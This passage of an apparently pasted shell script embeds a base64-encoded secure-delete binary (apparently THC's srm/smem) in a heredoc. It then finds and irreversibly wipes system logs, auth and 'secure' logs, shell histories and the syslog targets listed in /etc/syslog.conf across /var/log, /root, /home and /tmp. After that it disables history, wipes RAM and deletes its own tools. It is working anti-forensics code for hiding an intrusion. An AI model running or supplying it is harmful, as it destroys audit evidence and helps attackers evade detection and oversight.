  253. ZSAlcyB3YXMgcmFjZWQsIGhlbmNlIEkgd29uJ3Qgd2lwZSBpdC4KAABFcnJvcjogQ2FuJ3QgY2hk
  254. aXIgdG8gJXMgKGFib3J0aW5nKSAtIAAAV2FybmluZzogJXMgaXMgYSBkaXJlY3RvcnkuIEkgd2ls
  255. bCBub3QgcmVtb3ZlIGl0LCBiZWNhdXNlIHRoZSAtciBvcHRpb24gaXMgbWlzc2luZyEKAAAAAFdh
  256. cm5pbmc6ICVzIGlzIG5vdCBhIHJlZ3VsYXIgZmlsZSwgcmVuYW1lL3VubGluayBvbmx5IQAAV2lw
  257. ZSBtb2RlIGlzIGluc2VjdXJlIChvbmUgcGFzcyBbJXNdKQoAAFdpcGUgbW9kZSBpcyBpbnNlY3Vy
  258. ZSAodHdvIHBhc3NlcyBbMHhmZi8lc10pCgAAAFdpcGUgbW9kZSBpcyBzZWN1cmUgKDM4IHNwZWNp
  259. YWwgcGFzc2VzKQBXYXJuaW5nOiBDb3VsZCBub3QgcmVzZXQgdWxpbWl0IGZvciBmaWxlc2l6ZS4K
  260. AABXYXJuaW5nOiBEbyB5b3UgcmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBST09UIGRpcmVjdG9y
  261. eT8/CgBJJ20gZ2l2aW5nIHlvdSA1IHNlY29uZHMgdG8gYWJvcnQgLi4uIHByZXNzIENvbnRyb2wt
  262. QwoAAERvaW5nIG15IGV2aWwgd29yayBub3csIGRvbid0IHdoaW1wIGxhdGVyLCB5b3UgaGFkIGJl
  263. ZW4gaW5mb3JtZWQhCgAARmlsZSAlcyB3YXMgcmFjZWQsIGhlbmNlIEkgd29uJ3Qgd2lwZSBpdCEK
  264. AHZoQHRoYy5vcmcAdmFuIEhhdXNlciAvIFRIQwB2My4xAE9wdGlvbnM6AAktdiAgaXMgdmVyYm9z
  265. ZSBtb2RlLgBodHRwOi8vd3d3LnRoYy5vcmcAWW91IGNhbiBmaW5kIHVwZGF0ZXMgYXQgJXMKAFdp
  266. cGluZyAlcyAAQ291bGRuJ3QgZGVsZXRlICVzLiAAIERvbmUALS1oAERkRmZMbFJyU3NWdlp6AC8A
  267. RXJyb3I6IEZpbGUgJXMgLSAAVW5rbm93biBlcnJvcgoAAADglAQIb5QECNCUBAhvlAQIb5QECG+U
  268. BAhvlAQIb5QECMCUBAhvlAQIb5QECG+UBAhvlAQIb5QECLCUBAiolAQIb5QECG+UBAiYlAQIb5QE
  269. CG+UBAhvlAQIiJQECG+UBAhvlAQIb5QECG+UBAhvlAQIb5QECG+UBAhvlAQIb5QECOCUBAhvlAQI
  270. 0JQECG+UBAhvlAQIb5QECG+UBAhvlAQIwJQECG+UBAhvlAQIb5QECG+UBAhvlAQIsJQECKiUBAhv
  271. lAQIb5QECJiUBAhvlAQIb5QECG+UBAiIlAQIUHJvZ3JhbW1pbmcgRXJyb3I6IHNkZWwtbGliIHdh
  272. cyBub3QgaW5pdGlhbGl6ZWQgYmVmb3JlIGNhbGxpbmcgc2RlbF9maW5uaXNoKCkuCgBXYXJuaW5n
  273. OiBjb3VsZCBub3Qgd2lwZSBhbGwgaW5vZGVzIQoAAAAAV2FybmluZzogQ291bGRuJ3QgcmVuYW1l
  274. ICVzIC0gAABXYXJuaW5nOiBDb3VsZG4ndCBmaW5kIGEgZnJlZSBmaWxlbmFtZSBmb3IgJXMhCgBX
  275. YXJuaW5nOiBVbmFibGUgdG8gcmVtb3ZlIGRpcmVjdG9yeSAlcyAtIAAAAFdhcm5pbmc6IFVuYWJs
  276. ZSB0byB1bmxpbmsgZmlsZSAlcyAtIAAAAABQcm9ncmFtbWluZyBFcnJvcjogc2RlbC1saWIgd2Fz
  277. IG5vdCBpbml0aWFsaXplZCBiZWZvcmUgc2RlbF9vdmVyd3JpdGUoKS4KAAAAcgAvZGV2L3VyYW5k
  278. b20AVXNpbmcgJXMgZm9yIHJhbmRvbSBpbnB1dC4KAFdpcGluZyBpbm9kZXMgLi4uACBEb25lIC4u
  279. LiAAUmVtb3ZlZCBkaXJlY3RvcnkgJXMgLi4uACBSZW1vdmVkIGZpbGUgJXMgLi4uAHIrYgAAAAAA
  280. gEMAAAAwARsDOyAAAAADAAAAfPb//zwAAACM9v//XAAAAOb2//+IAAAAFAAAAAAAAAABelIAAXwI
  281. ARsMBASIAQAAHAAAABwAAAA49v//BQAAAABBDgiFAkINBUHFDAQEAAAoAAAAPAAAACj2//9aAAAA
  282. AEEOCIUCQg0FQ4MFhgSHAwJQw0HGQcdBxQwEBBAAAABoAAAAVvb//wQAAAAAAAAAAAAAAAAAAAAA
  283. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  284. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  285. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  286. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  287. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  288. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  289. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAABAAAA
  290. EAAAAAwAAACoiAQIDQAAAPykBAj1/v9vjIEECAUAAADshAQIBgAAALyBBAgKAAAAhgEAAAsAAAAQ
  291. AAAAFQAAAAAAAAADAAAA4LAECAIAAABwAQAAFAAAABEAAAAXAAAAOIcECBEAAAAYhwQIEgAAACAA
  292. AAATAAAACAAAAP7//2/YhgQI////bwEAAADw//9vcoYECAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  293. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUsAQIAAAAAAAAAADuiAQI/ogECA6JBAgeiQQI
  294. LokECD6JBAhOiQQIXokECG6JBAh+iQQIjokECJ6JBAiuiQQIvokECM6JBAjeiQQI7okECP6JBAgO
  295. igQIHooECC6KBAg+igQITooECF6KBAhuigQIfooECI6KBAieigQIrooECL6KBAjOigQI3ooECO6K
  296. BAj+igQIDosECB6LBAguiwQIPosECE6LBAheiwQIbosECH6LBAiOiwQInosECK6LBAi+iwQIAAAA
  297. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  298. VVVVqqqqkkkkSSSSJJJJAAAAERERIiIiMzMzREREVVVVZmZmd3d3iIiImZmZqqqqu7u7zMzM3d3d
  299. 7u7u////kkkkSSSSJJJJbbbbtttt2222////AAAAAEdDQzogKEdOVSkgNC40LjcgMjAxMjAzMTMg
  300. KFJlZCBIYXQgNC40LjctMTYpAAAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3Rl
  301. LmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251
  302. LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5l
  303. aF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5jdG9ycwAuZHRvcnMALmpjcgAuZHluYW1pYwAuZ290AC5n
  304. b3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  305. AAAAAAAAAAAAAAAAAAsAAAABAAAAAgAAADSBBAg0AQAAEwAAAAAAAAAAAAAAAQAAAAAAAAATAAAA
  306. BwAAAAIAAABIgQQISAEAACAAAAAAAAAAAAAAAAQAAAAAAAAAIQAAAAcAAAACAAAAaIEECGgBAAAk
  307. AAAAAAAAAAAAAAAEAAAAAAAAADQAAAD2//9vAgAAAIyBBAiMAQAAMAAAAAUAAAAAAAAABAAAAAQA
  308. AAA+AAAACwAAAAIAAAC8gQQIvAEAADADAAAGAAAAAQAAAAQAAAAQAAAARgAAAAMAAAACAAAA7IQE
  309. COwEAACGAQAAAAAAAAAAAAABAAAAAAAAAE4AAAD///9vAgAAAHKGBAhyBgAAZgAAAAUAAAAAAAAA
  310. AgAAAAIAAABbAAAA/v//bwIAAADYhgQI2AYAAEAAAAAGAAAAAQAAAAQAAAAAAAAAagAAAAkAAAAC
  311. AAAAGIcECBgHAAAgAAAABQAAAAAAAAAEAAAACAAAAHMAAAAJAAAAAgAAADiHBAg4BwAAcAEAAAUA
  312. AAAMAAAABAAAAAgAAAB8AAAAAQAAAAYAAACoiAQIqAgAADAAAAAAAAAAAAAAAAQAAAAAAAAAdwAA
  313. AAEAAAAGAAAA2IgECNgIAADwAgAAAAAAAAAAAAAEAAAABAAAAIIAAAABAAAABgAAANCLBAjQCwAA
  314. LBkAAAAAAAAAAAAAEAAAAAAAAACIAAAAAQAAAAYAAAD8pAQI/CQAABwAAAAAAAAAAAAAAAQAAAAA
  315. AAAAjgAAAAEAAAACAAAAGKUECBglAADMCAAAAAAAAAAAAAAEAAAAAAAAAJYAAAABAAAAAgAAAOSt
  316. BAjkLQAAJAAAAAAAAAAAAAAABAAAAAAAAACkAAAAAQAAAAIAAAAIrgQICC4AAHwAAAAAAAAAAAAA
  317. AAQAAAAAAAAArgAAAAEAAAADAAAAALAECAAwAAAIAAAAAAAAAAAAAAAEAAAAAAAAALUAAAABAAAA
  318. AwAAAAiwBAgIMAAACAAAAAAAAAAAAAAABAAAAAAAAAC8AAAAAQAAAAMAAAAQsAQIEDAAAAQAAAAA
  319. AAAAAAAAAAQAAAAAAAAAwQAAAAYAAAADAAAAFLAECBQwAADIAAAABgAAAAAAAAAEAAAACAAAAMoA
  320. AAABAAAAAwAAANywBAjcMAAABAAAAAAAAAAAAAAABAAAAAQAAADPAAAAAQAAAAMAAADgsAQI4DAA
  321. AMQAAAAAAAAAAAAAAAQAAAAEAAAA2AAAAAEAAAADAAAAwLEECMAxAAB4AAAAAAAAAAAAAAAgAAAA
  322. AAAAAN4AAAAIAAAAAwAAAECyBAg4MgAASAAAAAAAAAAAAAAAIAAAAAAAAADjAAAAAQAAADAAAAAA
  323. AAAAODIAAC0AAAAAAAAAAAAAAAEAAAABAAAAAQAAAAMAAAAAAAAAAAAAAGUyAADsAAAAAAAAAAAA
  324. AAABAAAAAAAAAA==
  325. EOF
  326. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Preparing secure RAM wiper\e[0m""\e[0;36m[\e[1;31m*\e[0;36m] Setting execute permission to srm and smem\e[0m"
  327. chmod +x srm smem
  328. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Finding the log files..\e[0m"
  329. find /var/log/ /root/ /home/ /tmp/ -type f \( -name "*log" -o -name "messages*" -o -name "secure*" -o -name "*history" -o -name "*logout" -o -name "*tmp" \) -print0|while read -d $'\0' logs ; do
  330. echo -e "\e[0;32m[\e[1;31m*\e[0;32m]\e[0m \e[0;33m\t`du -sh "$logs" 2>> /dev/null`\e[0m"
  331. ./srm -vz "$logs"
  332. done
  333. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Cleaning new logs in \e[0;31m/etc/syslog.conf\e[0m"
  334. SYSL0G=$(cat /etc/syslog.conf | grep -v "/dev/" | grep -v "@" | grep "*" | grep -v "#" | awk '{print $2}' | grep -v "*" | sed "s/-\\//\\//")
  335. for syslogd in $SYSL0G ; do
  336. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Cleaning \e[0;31m$syslogd\e[0m"
  337. if [ ! -f $syslogd ]; then
  338. echo -e "\e[0;32m[\e[1;31m*\e[0;32m]\e[0m \e[0;31m$syslogd\e[0m: file not found!"
  339. else
  340. echo -e "\e[0;32m[\e[1;31m*\e[0;32m]\e[0m `du -sh "$syslogd" 2>> /dev/null`"
  341. ./srm -vz "$syslogd"
  342. fi
  343. done
  344. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Cleaning RAM\e[0m"
  345. set HISTSIZE=0
  346. set HISTFILESIZE=0
  347. set HISTFILE=/dev/null
  348. history -c
  349. ./smem -v
  350. rm -rf smem srm
Advertisement
Add Comment
Please, Sign In to add comment